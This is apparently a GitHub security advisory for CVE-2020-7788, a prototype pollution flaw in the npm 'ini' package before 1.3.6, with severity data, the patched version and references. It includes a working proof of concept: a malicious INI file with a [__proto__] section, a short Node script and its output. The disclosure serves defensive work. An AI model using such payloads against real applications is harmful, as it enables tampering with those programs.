GitHub Advisoryadvisory · npm
GHSA-qqgx-2p2h-9c37 ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse
HIGH
Official page ↗
- Aliases
- CVE-2020-7788
- Ecosystem
- npm
- Packages
- ini
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Weaknesses
- CWE-1321
- Reviewed
- 2020-12-10
Affected packages
• npm ini: < 1.3.6 → fixed in 1.3.6
Description
Overview
The `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability.
If an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context.
Patches
This has been patched in 1.3.6.
Steps to reproduce
payload.ini
```
[__proto__]
polluted = "polluted"
```
poc.js:
```
var fs = require('fs')
var ini = require('ini')
var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))
console.log(parsed)
console.log(parsed.__proto__)
console.log(polluted)
```
```
> node poc.js
{}
{ polluted: 'polluted' }
{ polluted: 'polluted' }
polluted
```
Related
Alias · CVE (1)
- CVE-2020-7788 This affects the package ini before 1.3.6. vulnerability
Weakness · CWE (1)
- CWE-1321 Improperly Controlled Modification of Object Prototype Attributes weakness
References
- https://nvd.nist.gov/vuln/detail/CVE-2020-7788 advisory
- https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1 web
- https://github.com/npm/ini package
- https://lists.debian.org/debian-lts-announce/2020/12/msg00032.html web
- https://snyk.io/vuln/SNYK-JS-INI-1048974 web
- https://www.npmjs.com/advisories/1589 web